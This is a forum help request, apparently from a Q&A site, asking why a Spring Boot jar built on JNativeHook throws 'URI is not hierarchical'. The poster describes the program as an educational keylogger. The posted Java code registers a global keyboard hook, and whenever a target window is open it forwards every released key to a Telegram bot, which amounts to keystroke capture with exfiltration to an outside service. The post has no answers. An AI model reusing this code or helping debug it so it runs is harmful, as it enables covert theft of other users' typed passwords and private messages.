URI is not hierarchical

49 Views Asked by At

I am trying to write app similar to keylogger in edu. proposes. When I run my application through IDEA it works fine and there are no exceptions. Since I built it, and try to run jar file, there is the exception.

Sep 27, 2023 9:12:36 PM com.github.kwhat.jnativehook.GlobalScreen <clinit> SEVERE: URI is not hierarchical Exception in thread "main" java.lang.reflect.InvocationTargetException
         at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:119)
         at java.base/java.lang.reflect.Method.invoke(Method.java:578)
         at org.springframework.boot.loader.MainMethodRunner.run(MainMethodRunner.java:49)
         at org.springframework.boot.loader.Launcher.launch(Launcher.java:95)
         at org.springframework.boot.loader.Launcher.launch(Launcher.java:58)
         at org.springframework.boot.loader.JarLauncher.main(JarLauncher.java:65)
Caused by: java.lang.UnsatisfiedLinkError: URI is not hierarchical
         at com.github.kwhat.jnativehook.GlobalScreen.<clinit>(GlobalScreen.java:91)
         at org.app.App.main(App.java:17)
         at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104)
         ... 5 more

Here is my App.java file code.

package org.app;

import com.github.kwhat.jnativehook.GlobalScreen;
import com.github.kwhat.jnativehook.NativeHookException;
import org.app.service.GlobalKeyListener;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ConfigurableApplicationContext;

@SpringBootApplication
public class App {

    public static void main(String[] args) {
        ConfigurableApplicationContext context = SpringApplication.run(App.class, args);
        GlobalKeyListener keyListener = context.getBean(GlobalKeyListener.class);
        try {
            GlobalScreen.registerNativeHook();
            GlobalScreen.addNativeKeyListener(keyListener);
        } catch (NativeHookException e) {
            System.err.println("Error registering native hook: " + e.getMessage());
        }
    }
}

and here is my GlobalKeyListener.java file code.

package org.app.service;

import com.github.kwhat.jnativehook.keyboard.NativeKeyEvent;
import com.github.kwhat.jnativehook.keyboard.NativeKeyListener;
import org.app.TelegramBot;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

@Component
public class GlobalKeyListener implements NativeKeyListener {

    private TelegramBot telegramBot;

    @Autowired
    public GlobalKeyListener(TelegramBot telegramBot) {
        this.telegramBot = telegramBot;
    }

    @Override
    public void nativeKeyPressed(NativeKeyEvent e) {
    }

    @Override
    public void nativeKeyReleased(NativeKeyEvent e) {
        if (new WindowInfo().isPMSOpened())
            telegramBot.sendMessage("Key released: " + NativeKeyEvent.getKeyText(e.getKeyCode()) + '\n');
    }

    @Override
    public void nativeKeyTyped(NativeKeyEvent e) {
    }
}

I tried to use another library for background keylogging, unfortunately it didn't work. I would really appreciate if you could give me some direction.

0

There are 0 best solutions below